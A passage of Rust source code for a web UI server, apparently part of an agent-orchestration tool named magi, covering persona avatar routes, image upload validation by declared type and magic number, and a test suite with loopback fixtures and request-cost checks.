9876        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9877    })
9878    .await
9879}
9880
9881async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9882    blocking(move || {
9883        match std::fs::remove_file(magi_icon_path(&ui.home)) {
9884            Ok(()) => (),
9885            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9886            Err(e) => return Err(anyhow::Error::from(e).into()),
9887        }
9888        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9889    })
9890    .await
9891}
9892
9893async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9894    let icon = (q.builtin.is_none())
9895        .then(|| read_magi_icon(&ui.home))
9896        .flatten();
9897    let mut response = match icon
9898        .as_deref()
9899        .and_then(|icon| persona_icon::load(icon).ok())
9900    {
9901        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9902            attachment_response(mime, bytes)
9903        }
9904        _ => svg_avatar(persona_icon::magi_svg()),
9905    };
9906    response
9907        .headers_mut()
9908        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9909    response
9910}
9911
9912/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
9913/// operator's raster `icon` when it resolves and its bytes agree with its
9914/// type, the built-in SVG otherwise. Display only; every failure is a warning
9915/// and the built-in avatar, never an error response.
9916async fn talk_avatar(
9917    State(ui): State<Arc<Ui>>,
9918    Path(id): Path<String>,
9919    Query(q): Query<AvatarQuery>,
9920) -> ApiResult<Response> {
9921    blocking(move || {
9922        let id = resolve_talk(&ui.talks, &id)?;
9923        let talk = ui.talks.get(&id)?;
9924        let wanted = q
9925            .persona
9926            .as_deref()
9927            .map(str::trim)
9928            .filter(|p| !p.is_empty())
9929            .unwrap_or(&talk.persona)
9930            .to_owned();
9931        let specs = match Config::discover(&talk.repo, None) {
9932            Ok((cfg, _)) => cfg.talk.personas,
9933            Err(e) => {
9934                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9935                Vec::new()
9936            }
9937        };
9938        let found = persona::find(&specs, &wanted);
9939        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
9940        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9941        let icon = effective_persona_icon(
9942            &ui.home,
9943            &wanted,
9944            found.as_ref().and_then(|p| p.icon.as_deref()),
9945        );
9946        if found.is_none() && icon.is_none() {
9947            return Ok(builtin_avatar(persona::DEFAULT_ID));
9948        }
9949        let Some(icon) = icon
9950            .as_deref()
9951            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9952        else {
9953            return Ok(builtin_avatar(&wanted));
9954        };
9955        let Some(found) = found else {
9956            return Ok(raster_or_builtin(
9957                Some(icon),
9958                persona_icon::builtin_svg(&wanted),
9959            ));
9960        };
9961        match persona_icon::load(icon) {
9962            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9963                let mut res = attachment_response(mime, bytes);
9964                res.headers_mut().insert(
9965                    header::CACHE_CONTROL,
9966                    header::HeaderValue::from_static("no-cache"),
9967                );
9968                Ok(res)
9969            }
9970            Ok((mime, _)) => {
9971                tracing::warn!(
9972                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9973                    found.id
9974                );
9975                Ok(builtin_avatar(&found.id))
9976            }
9977            Err(e) => {
9978                tracing::warn!(
9979                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9980                    found.id
9981                );
9982                Ok(builtin_avatar(&found.id))
9983            }
9984        }
9985    })
9986    .await
9987}
9988
9989/// Validate an attachment upload's declared `Content-Type` and the bytes
9990/// themselves, returning the canonical mime on success.
9991///
9992/// Two checks, both required: the header has to name one of
9993/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
9994/// simply never in the list, active content rather than a picture, the same
9995/// exclusion [`asset_content_type`]'s doc explains), and the file's own
9996/// magic number has to agree. The second is what stops a mislabeled upload -
9997/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
9998/// a declared type is a claim, not a fact, so it is never trusted alone.
9999fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10000    if data.len() > ATTACHMENT_MAX_BYTES {
10001        return Err(ApiError::bad_request(format!(
10002            "attachment is {} bytes, over the {} MiB limit",
10003            data.len(),
10004            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10005        ))
10006        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10007    }
10008    if data.is_empty() {
10009        return Err(ApiError::bad_request("attachment is empty"));
10010    }
10011    let declared = declared_mime(headers)?;
10012    match sniffed_mime(data) {
10013        Some(sniffed) if sniffed == declared => Ok(declared),
10014        Some(sniffed) => Err(ApiError::bad_request(format!(
10015            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10016        ))),
10017        None => Err(ApiError::bad_request(
10018            "the file's bytes do not match any accepted image format",
10019        )),
10020    }
10021}
10022
10023/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10024/// and nothing else - parameters like `; charset=` are stripped, but the
10025/// value itself is not otherwise interpreted.
10026fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10027    let raw = headers
10028        .get(header::CONTENT_TYPE)
10029        .and_then(|v| v.to_str().ok())
10030        .unwrap_or("")
10031        .split(';')
10032        .next()
10033        .unwrap_or("")
10034        .trim()
10035        .to_ascii_lowercase();
10036    ATTACHMENT_MIME_WHITELIST
10037        .iter()
10038        .find(|&&m| m == raw)
10039        .copied()
10040        .ok_or_else(|| {
10041            if raw == "image/svg+xml" {
10042                ApiError::bad_request(
10043                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10044                     not just a picture",
10045                )
10046            } else if raw.is_empty() {
10047                ApiError::bad_request("Content-Type is required for an attachment upload")
10048            } else {
10049                ApiError::bad_request(format!(
10050                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10051                     image/gif or image/webp"
10052                ))
10053            }
10054        })
10055}
10056
10057/// Identify an image by its magic number, independent of whatever
10058/// `Content-Type` claimed.
10059fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10060    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10061        Some("image/png")
10062    } else if data.starts_with(b"\xff\xd8\xff") {
10063        Some("image/jpeg")
10064    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10065        Some("image/gif")
10066    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10067        Some("image/webp")
10068    } else {
10069        None
10070    }
10071}
10072
10073/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10074/// display - see [`talk::Attachment::name`]'s doc on why it never
10075/// contributes to a path. A missing or blank header (curl without it, an
10076/// older front end) falls back to a generic name rather than refusing the
10077/// upload over a field that is cosmetic.
10078fn filename_header(headers: &HeaderMap) -> String {
10079    headers
10080        .get(FILENAME_HEADER)
10081        .and_then(|v| v.to_str().ok())
10082        .map(str::trim)
10083        .filter(|s| !s.is_empty())
10084        .unwrap_or("attachment")
10085        .to_owned()
10086}
10087
10088/// Every attachment `GET` response: the mime re-validated against the same
10089/// closed whitelist the upload route enforces - never the string trusted
10090/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10091/// cannot decide it knows better than the type we send. Unlike a panel asset
10092/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10093/// document renders inline, not agent-authored HTML in a sandboxed frame.
10094fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10095    let content_type = ATTACHMENT_MIME_WHITELIST
10096        .iter()
10097        .find(|&&m| m == mime)
10098        .copied()
10099        .unwrap_or("application/octet-stream");
10100    (
10101        [
10102            (header::CONTENT_TYPE, content_type),
10103            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10104        ],
10105        body,
10106    )
10107        .into_response()
10108}
10109
10110/// The configuration for a repository, read off the disk for this request.
10111///
10112/// Through [`blocking`] because discovery reads and merges several TOML files,
10113/// and because the alternative - caching it in [`Ui`] at startup - would mean
10114/// the operator's phone kept interviewing with a roster they had already
10115/// changed, with no way to reload it but restarting the server they are not
10116/// sitting in front of.
10117async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10118    let repo = repo.to_path_buf();
10119    blocking(move || {
10120        let (cfg, _) = Config::discover(&repo, None)?;
10121        Ok(cfg)
10122    })
10123    .await
10124}
10125
10126/// The one prefix rule, used for both runs and tasks: a leading match for a
10127/// full id, a trailing match for the short form an operator reads off a
10128/// report. Written here rather than borrowed from `queue::resolve_id` because
10129/// the UI needs the two failures as different status codes, and telling them
10130/// apart from an error message is not something to build a route on.
10131fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10132    let mut hits = ids
10133        .into_iter()
10134        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10135    match (hits.next(), hits.next()) {
10136        (Some(one), None) => Ok(one),
10137        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10138        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10139            "`{prefix}` matches more than one {what}, including {a} and {b}"
10140        ))),
10141    }
10142}
10143
10144#[cfg(test)]
10145mod tests {
10146
10147    #[test]
10148    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10149        let dir = tempfile::tempdir().unwrap();
10150        let store = ask::Questions::at(dir.path().join("questions"));
10151        let mut q = Question::new(
10152            "task".to_owned(),
10153            "conduct".to_owned(),
10154            "conduct".to_owned(),
10155            "choose".to_owned(),
10156            String::new(),
10157            vec!["keep".to_owned()],
10158        );
10159        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10160        q.say("why?").unwrap();
10161        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10162        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10163        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10164        store.put(&mut q).unwrap();
10165        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10166        assert_eq!(store.count_needs_owner(), 1);
10167        store.beat(&q.id, ask::WaiterKind::Deputy);
10168        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10169        assert_eq!(store.count_needs_owner(), 0);
10170        let mut stale = store.read_lease(&q.id).unwrap();
10171        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10172        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10173        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10174        assert!(view.deputy_exhausted);
10175        assert!(view.waiting_on_agent);
10176        assert_eq!(view.question.choices, ["keep"]);
10177        store.drop_lease(&q.id);
10178        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10179        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10180    }
10181
10182    #[test]
10183    fn holder_reads_the_lease_not_the_record() {
10184        let mut q = Question::new(
10185            "run".to_owned(),
10186            "implement".to_owned(),
10187            "impl-A".to_owned(),
10188            "which?".to_owned(),
10189            String::new(),
10190            Vec::new(),
10191        );
10192        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10193        q.cwd = Some("/tmp".to_owned());
10194        assert_eq!(holder_of(&q, None), Some("nobody"));
10195        let beat = |kind, ago: i64| ask::Lease {
10196            kind,
10197            pid: 1,
10198            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10199                .unwrap(),
10200        };
10201        let fresh = beat(ask::WaiterKind::Asker, 1);
10202        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10203        let daemon = beat(ask::WaiterKind::Daemon, 1);
10204        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10205        let stale = beat(ask::WaiterKind::Asker, 3600);
10206        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10207
10208        // A conductor question says "deputy" only while one is attached and
10209        // alive, and "nobody" - never silence - when nothing ever listened.
10210        let mut c = Question::new(
10211            "task".to_owned(),
10212            crate::conduct::NODE.to_owned(),
10213            "conduct".to_owned(),
10214            "which?".to_owned(),
10215            String::new(),
10216            Vec::new(),
10217        );
10218        assert_eq!(holder_of(&c, None), Some("nobody"));
10219        c.cwd = Some("/tmp".to_owned());
10220        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10221        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10222        let deputy = beat(ask::WaiterKind::Deputy, 1);
10223        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10224        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10225
10226        // A release-watch question: nobody until a deputy is attached.
10227        let mut r = Question::new(
10228            String::new(),
10229            crate::bump::NOTICE_NODE.to_owned(),
10230            "release-watch".to_owned(),
10231            "stuck?".to_owned(),
10232            String::new(),
10233            vec!["hold".to_owned()],
10234        );
10235        assert_eq!(holder_of(&r, None), Some("nobody"));
10236        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10237        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10238        // A choice-less bump notice is nobody's question at all.
10239        r.deputy = None;
10240        r.seat = "bump".to_owned();
10241        assert_eq!(holder_of(&r, None), None);
10242
10243        // A merge approval is the same: nobody until a deputy is attached
10244        // and alive, never a silent "no holder".
10245        let mut m = Question::new(
10246            "run".to_owned(),
10247            crate::land::APPROVAL_NODE.to_owned(),
10248            "land".to_owned(),
10249            "merge?".to_owned(),
10250            String::new(),
10251            Vec::new(),
10252        );
10253        assert_eq!(holder_of(&m, None), Some("nobody"));
10254        assert_eq!(
10255            holder_of(&m, Some(&fresh)),
10256            Some("asker"),
10257            "a live explicit wait is a listener even before a deputy is attached"
10258        );
10259        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10260        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10261        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10262        assert_eq!(holder_of(&m, None), Some("nobody"));
10263    }
10264
10265    fn stub_config() -> Config {
10266        // An explicit roster, so the result never depends on which agent CLIs
10267        // this machine has installed.
10268        Config {
10269            agents: vec![crate::config::AgentSpec {
10270                id: "stub".to_owned(),
10271                kind: AgentKind::Command,
10272                model: None,
10273                command: vec!["true".to_owned()],
10274                extra_args: Vec::new(),
10275                env: Default::default(),
10276                prompt_delivery: None,
10277                max_turn_secs: None,
10278            }],
10279            ..Config::default()
10280        }
10281    }
10282
10283    fn plain_question(seat: &str) -> Question {
10284        Question::new(
10285            String::new(),
10286            "n".to_owned(),
10287            seat.to_owned(),
10288            "s".to_owned(),
10289            String::new(),
10290            Vec::new(),
10291        )
10292    }
10293
10294    #[test]
10295    fn deputies_enabled_follows_the_config() {
10296        let on = stub_config();
10297        assert!(crate::deputy::can_start(Some(&on), ""));
10298        assert!(crate::deputy::can_start(Some(&on), "stub"));
10299        let mut off = on.clone();
10300        off.daemon.max_deputies = 0;
10301        assert!(!crate::deputy::can_start(Some(&off), ""));
10302        let mut empty = on;
10303        empty.agents.clear();
10304        assert!(!crate::deputy::can_start(Some(&empty), ""));
10305        assert!(!crate::deputy::can_start(None, ""));
10306    }
10307
10308    #[test]
10309    fn question_views_load_the_config_once() {
10310        let dir = TempDir::new().unwrap();
10311        let store = ask::Questions::at(dir.path().to_path_buf());
10312        let mut with_deputy = plain_question("b");
10313        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10314        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10315
10316        let calls = std::cell::Cell::new(0usize);
10317        let views = question_views(qs.clone(), &store, || {
10318            calls.set(calls.get() + 1);
10319            Some(stub_config())
10320        });
10321        assert_eq!(calls.get(), 1);
10322        assert_eq!(views.len(), 3);
10323        for (v, q) in views.iter().zip(&qs) {
10324            assert_eq!(
10325                v.deputies_enabled,
10326                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10327            );
10328        }
10329
10330        let views = question_views(qs, &store, || None);
10331        assert!(views.iter().all(|v| !v.deputies_enabled));
10332
10333        let calls = std::cell::Cell::new(0usize);
10334        let views = question_views(Vec::new(), &store, || {
10335            calls.set(calls.get() + 1);
10336            None
10337        });
10338        assert!(views.is_empty());
10339        assert_eq!(calls.get(), 0);
10340    }
10341
10342    use pretty_assertions::assert_eq;
10343    use serde_json::Value;
10344    use tempfile::TempDir;
10345    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10346
10347    use super::*;
10348    use crate::config::Config;
10349    use crate::queue::Source;
10350
10351    /// How many 10ms steps a settle loop takes before it calls a stall a
10352    /// stall - thirty seconds.
10353    ///
10354    /// These loops wait on real `sh` subprocesses, and the machine that runs
10355    /// the gate runs several suites at once, so a two-second budget was not
10356    /// waiting for the reply, it was racing the scheduler: two of these
10357    /// tests failed under that load with the turn simply not landed yet.
10358    /// This is a hang guard, not a latency assertion - every loop breaks the
10359    /// moment its condition holds, so a generous cap costs an idle machine
10360    /// nothing and still fails a genuine hang instead of hanging the suite.
10361    const SETTLE_STEPS: usize = 3_000;
10362
10363    /// A home with a queue and a runs directory, and a router serving it on
10364    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10365    /// dependency, not ours - so the tests drive a real socket, which has the
10366    /// side benefit of asserting the status line and content types the phone
10367    /// actually receives.
10368    struct Fixture {
10369        home: TempDir,
10370        addr: SocketAddr,
10371    }
10372
10373    impl Fixture {
10374        async fn start() -> Self {
10375            Self::with_loop(launch_idle).await
10376        }
10377
10378        /// A fixture whose loop is `launch`.
10379        async fn with_loop(launch: Launch) -> Self {
10380            let home = TempDir::new().expect("temp home");
10381            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10382            Self { home, addr }
10383        }
10384
10385        /// A fixture whose `ui.repo` is a real directory rather than the
10386        /// usual placeholder - for the routes that read config off it
10387        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10388        async fn with_repo(repo: PathBuf) -> Self {
10389            let home = TempDir::new().expect("temp home");
10390            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10391            Self { home, addr }
10392        }
10393
10394        /// As [`Fixture::with_repo`], with the machine-config file the
10395        /// settings screen reads and writes.
10396        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10397            let home = TempDir::new().expect("temp home");
10398            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10399            Self { home, addr }
10400        }
10401
10402        async fn serve(
10403            home: &FsPath,
10404            repo: PathBuf,
10405            launch: Launch,
10406            machine: Option<PathBuf>,
10407        ) -> SocketAddr {
10408            let queue = Queue::at(home.join("queue"));
10409            let runs = home.join("runs");
10410            std::fs::create_dir_all(&runs).expect("runs dir");
10411            let worktrees = home.join("wt").join("magi");
10412            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10413            let ui = Ui::new(
10414                queue,
10415                Questions::at(home.join("questions")),
10416                Talks::at(home.join("talks")),
10417                runs,
10418                home.to_path_buf(),
10419                repo,
10420            )
10421            .with_worktrees_root(worktrees)
10422            .with_machine_config(machine)
10423            .with_launch(launch);
10424            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10425                .await
10426                .expect("bind loopback");
10427            let addr = listener.local_addr().expect("local addr");
10428            tokio::spawn(async move {
10429                let router = ui
10430                    .router()
10431                    .layer(axum::middleware::from_fn(request_cost::observe));
10432                let _ = axum::serve(listener, router).await;
10433            });
10434            addr
10435        }
10436
10437        fn queue(&self) -> Queue {
10438            Queue::at(self.home.path().join("queue"))
10439        }
10440
10441        fn questions(&self) -> Questions {
10442            Questions::at(self.home.path().join("questions"))
10443        }
10444
10445        fn talks(&self) -> Talks {
10446            Talks::at(self.home.path().join("talks"))
10447        }
10448
10449        fn runs(&self) -> PathBuf {
10450            self.home.path().join("runs")
10451        }
10452
10453        async fn get(&self, path: &str) -> Res {
10454            request(self.addr, "GET", path, None).await
10455        }
10456
10457        /// The status and headers without the body, which is how the front end
10458        /// preflights a panel: a sandboxed frame is opaque to the parent
10459        /// document, so the only way to tell "no panel" from "a panel that
10460        /// rendered blank" is to ask before mounting.
10461        async fn head(&self, path: &str) -> Res {
10462            request(self.addr, "HEAD", path, None).await
10463        }
10464
10465        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10466            request(self.addr, "POST", path, body).await
10467        }
10468
10469        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10470            request_with(self.addr, "GET", path, None, extra).await
10471        }
10472
10473        async fn delete(&self, path: &str) -> Res {
10474            request(self.addr, "DELETE", path, None).await
10475        }
10476
10477        async fn put(&self, path: &str, body: &str) -> Res {
10478            request(self.addr, "PUT", path, Some(body)).await
10479        }
10480
10481        /// `POST` a raw body with its own headers - see [`request_bytes`].
10482        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10483            request_bytes(self.addr, path, headers, body).await
10484        }
10485    }
10486
10487    /// Real tracking refs exercise the successful discovery path (including
10488    /// extraction), rather than counting cheap failures on a placeholder repo.
10489    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10490        let tmp = TempDir::new().unwrap();
10491        let mut repos = Vec::new();
10492        for name in ["one", "two"] {
10493            let repo = tmp.path().join(name);
10494            let origin = tmp.path().join(format!("{name}.git"));
10495            std::fs::create_dir_all(&repo).unwrap();
10496            crate::git::git(&repo, &["init", "-b", "main"])
10497                .await
10498                .unwrap();
10499            std::fs::write(
10500                repo.join("magi.toml"),
10501                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10502            )
10503            .unwrap();
10504            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10505            crate::git::git(
10506                &repo,
10507                &[
10508                    "-c",
10509                    "user.name=fixture",
10510                    "-c",
10511                    "user.email=fixture@example.invalid",
10512                    "commit",
10513                    "-m",
10514                    "fixture",
10515                ],
10516            )
10517            .await
10518            .unwrap();
10519            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10520                .await
10521                .unwrap();
10522            crate::git::git(
10523                &repo,
10524                &["remote", "add", "origin", origin.to_str().unwrap()],
10525            )
10526            .await
10527            .unwrap();
10528            crate::git::git(&repo, &["push", "origin", "main"])
10529                .await
10530                .unwrap();
10531            crate::git::git(
10532                &repo,
10533                &[
10534                    "symbolic-ref",
10535                    "refs/remotes/origin/HEAD",
10536                    "refs/remotes/origin/main",
10537                ],
10538            )
10539            .await
10540            .unwrap();
10541            let (cfg, _) = Config::discover(&repo, None).unwrap();
10542            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10543            repos.push(repo);
10544        }
10545        let repos: [PathBuf; 2] = repos.try_into().unwrap();
10546        (tmp, repos)
10547    }
10548
10549    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10550        let (tmp, repos) = performance_repositories().await;
10551        let machine = tmp.path().join("machine.toml");
10552        std::fs::write(&machine, "").unwrap();
10553        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10554        (tmp, repos, fx)
10555    }
10556
10557    fn seed_performance(
10558        fx: &Fixture,
10559        repos: &[PathBuf; 2],
10560        questions: usize,
10561        runs: usize,
10562        items: usize,
10563    ) {
10564        // Saving states directly never starts a run or changes MAGI_HOME.
10565        for i in fx.questions().list().len()..questions {
10566            let mut question = Question::new(
10567                "20261001-000000-0000".into(),
10568                "implement".into(),
10569                "impl-A".into(),
10570                format!("question {i}"),
10571                "context".into(),
10572                vec!["yes".into(), "no".into()],
10573            );
10574            question.id = format!("20261003-000000-{i:04x}");
10575            fx.questions().put(&mut question).unwrap();
10576        }
10577        for i in run_ids(&fx.runs()).len()..runs {
10578            write_run_repo(
10579                &fx.runs(),
10580                &format!("20261001-000000-{i:04x}"),
10581                RunStatus::Ready,
10582                repos[i % 2].to_str().unwrap(),
10583            );
10584        }
10585        for i in fx.talks().list().len()..items {
10586            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10587            let mut talk = fx.talks().get(&id).unwrap();
10588            talk.repo = repos[i % 2].clone();
10589            fx.talks().put(&mut talk).unwrap();
10590            let mut task = crate::queue::Task::new(
10591                format!("task {i}"),
10592                "instruction".into(),
10593                repos[i % 2].clone(),
10594                crate::queue::Source::Agent {
10595                    run: id,
10596                    node: crate::queue::CHAT_NODE.into(),
10597                },
10598            );
10599            task.id = format!("20261004-000000-{i:04x}");
10600            fx.queue().put(&mut task).unwrap();
10601            // Notices has a production retention cap; seed up to that cap.
10602            if i < crate::notices::CAP {
10603                Notices::at(fx.home.path().join("notifications"))
10604                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
10605                    .unwrap();
10606            }
10607        }
10608        assert_eq!(fx.questions().list().len(), questions);
10609        assert_eq!(run_ids(&fx.runs()).len(), runs);
10610        assert_eq!(fx.talks().list().len(), items);
10611        assert_eq!(fx.queue().list().len(), items);
10612        assert_eq!(
10613            Notices::at(fx.home.path().join("notifications"))
10614                .list()
10615                .len(),
10616            items.min(crate::notices::CAP)
10617        );
10618    }
10619
10620    fn request_counts(res: &Res) -> (usize, usize) {
10621        assert_eq!(res.status, 200, "{}", res.body);
10622        (
10623            res.header("x-test-discoveries").unwrap().parse().unwrap(),
10624            res.header("x-test-git").unwrap().parse().unwrap(),
10625        )
10626    }
10627
10628    #[tokio::test]
10629    async fn list_request_cost_is_independent_of_record_count() {
10630        let (_tmp, repos, fx) = performance_fixture().await;
10631        let mut previous = None;
10632        for n in [4, 60] {
10633            seed_performance(&fx, &repos, n, n, n);
10634            let mut costs = Vec::new();
10635            for (path, discoveries) in [
10636                ("/api/questions", 1),
10637                ("/api/talks", 2),
10638                ("/api/health", 1),
10639                ("/api/stats", 1),
10640            ] {
10641                // Equal cold extraction caches at both scales; this also
10642                // bounds first-request cost instead of only warmed requests.
10643                for repo in &repos {
10644                    let cache = repo.join(".git/magi/config");
10645                    if cache.exists() {
10646                        std::fs::remove_dir_all(cache).unwrap();
10647                    }
10648                }
10649                let cost = request_counts(&fx.get(path).await);
10650                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10651                assert_eq!(cost.0, discoveries, "{path}, N={n}");
10652                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10653                costs.push(cost);
10654            }
10655            if let Some(previous) = previous {
10656                assert_eq!(costs, previous);
10657            }
10658            previous = Some(costs);
10659        }
10660        // runs reads shared row inputs and probes process liveness; queue
10661        // builds one blocker inventory; notifications reads its own store.
10662        // None discovers configuration or spawns git per item.
10663    }
10664
10665    /// The same handler path without transport, so the deterministic cause
10666    /// can also be checked in environments that prohibit binding sockets.
10667    #[tokio::test]
10668    async fn list_handler_cost_without_transport() {
10669        let (_tmp, repos) = performance_repositories().await;
10670        let fx = Fixture {
10671            home: TempDir::new().unwrap(),
10672            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10673        };
10674        let ui = Arc::new(
10675            Ui::new(
10676                fx.queue(),
10677                fx.questions(),
10678                fx.talks(),
10679                fx.runs(),
10680                fx.home.path().to_path_buf(),
10681                repos[0].clone(),
10682            )
10683            .with_worktrees_root(fx.home.path().join("wt")),
10684        );
10685        let mut previous = None;
10686        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10687            seed_performance(&fx, &repos, n, runs, items);
10688            let mut costs = Vec::new();
10689            for endpoint in ["questions", "talks", "health", "stats"] {
10690                for repo in &repos {
10691                    let cache = repo.join(".git/magi/config");
10692                    if cache.exists() {
10693                        std::fs::remove_dir_all(cache).unwrap();
10694                    }
10695                }
10696                let (_, cost) = request_cost::measure(async {
10697                    match endpoint {
10698                        "questions" => {
10699                            let _ = questions_list(State(ui.clone())).await.unwrap();
10700                        }
10701                        "talks" => {
10702                            let _ = talks_list(
10703                                State(ui.clone()),
10704                                Query(ListQuery {
10705                                    limit: None,
10706                                    ids: None,
10707                                }),
10708                            )
10709                            .await
10710                            .unwrap();
10711                        }
10712                        "health" => {
10713                            let _ = health(State(ui.clone())).await.unwrap();
10714                        }
10715                        _ => {
10716                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10717                                .await
10718                                .unwrap();
10719                        }
10720                    }
10721                })
10722                .await;
10723                eprintln!("{endpoint} handler N={n}: {cost:?}");
10724                assert_eq!(
10725                    cost.0,
10726                    if endpoint == "talks" { 2 } else { 1 },
10727                    "{endpoint}"
10728                );
10729                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10730                costs.push(cost);
10731            }
10732            if let Some(previous) = previous {
10733                assert_eq!(costs, previous);
10734            }
10735            previous = Some(costs);
10736        }
10737    }
10738
10739    #[tokio::test]
10740    async fn list_request_cost_scopes_do_not_mix() {
10741        let (_tmp, repos, fx) = performance_fixture().await;
10742        seed_performance(&fx, &repos, 10, 0, 10);
10743        let (questions, talks, notices) = tokio::join!(
10744            fx.get("/api/questions"),
10745            fx.get("/api/talks"),
10746            fx.get("/api/notifications")
10747        );
10748        assert_eq!(request_counts(&questions).0, 1);
10749        assert_eq!(request_counts(&talks).0, 2);
10750        assert_eq!(request_counts(&notices), (0, 0));
10751    }
10752
10753    #[tokio::test]
10754    async fn list_endpoints_large_home_ceiling() {
10755        let (_tmp, repos, fx) = performance_fixture().await;
10756        seed_performance(&fx, &repos, 200, 300, 400);
10757        let mut failures = Vec::new();
10758        // app.js boot/change loads plus the initial dashboard, settings and
10759        // repo picker. SSE is a persistent stream, not a bounded GET.
10760        for path in [
10761            "/",
10762            "/app.js",
10763            "/app.css",
